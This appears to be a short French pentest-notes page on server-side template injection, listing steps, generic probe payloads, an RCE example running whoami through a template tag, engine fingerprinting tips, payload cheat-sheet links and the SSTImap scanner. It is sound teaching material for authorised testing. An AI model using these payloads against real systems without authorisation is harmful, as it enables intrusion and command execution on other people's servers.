> For the complete documentation index, see [llms.txt](https://blog.s1rn3tz.ovh/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://blog.s1rn3tz.ovh/pentest-web/injections/ssti.md).

# SSTI

## Basic

Etapes:

* Trouver des paramètres reflétés dans la page cible
* Tester des payloads génériques pour prouver la présence d'une SSTI

```
{{7*7}}
${7*7}
<%= 7*7 %>
${{7*7}}
#{7*7}

PHP based:
{php}print "HELLO"{/php}
```

* Exploiter (exemple de RCE: <%= system("whoami") %>)

### Enumération du moteur de template

2 possibilités:

* Tester des payloads génériques permet de trouver le moteur de template selon la synthaxe qui est acceptée.

![](/files/RBWQ2DwSykPrOJU5nbwM)

* Essayer de générer une erreur de syntaxe (Si le message d'erreur est trop verbeux, il peut faire fuiter le moteur de template utilisé).&#x20;

### Ressource: Payloads

{% embed url="<https://cheatsheet.hackmanit.de/template-injection-table/index.html>" %}

{% embed url="<https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection>" %}

{% embed url="<https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#methodology>" %}

## Outils

### SSTImap

SSTimap est un outil de scan de vulnérabilité SSTI intéractif.

Ressource: <https://github.com/vladko312/SSTImap>
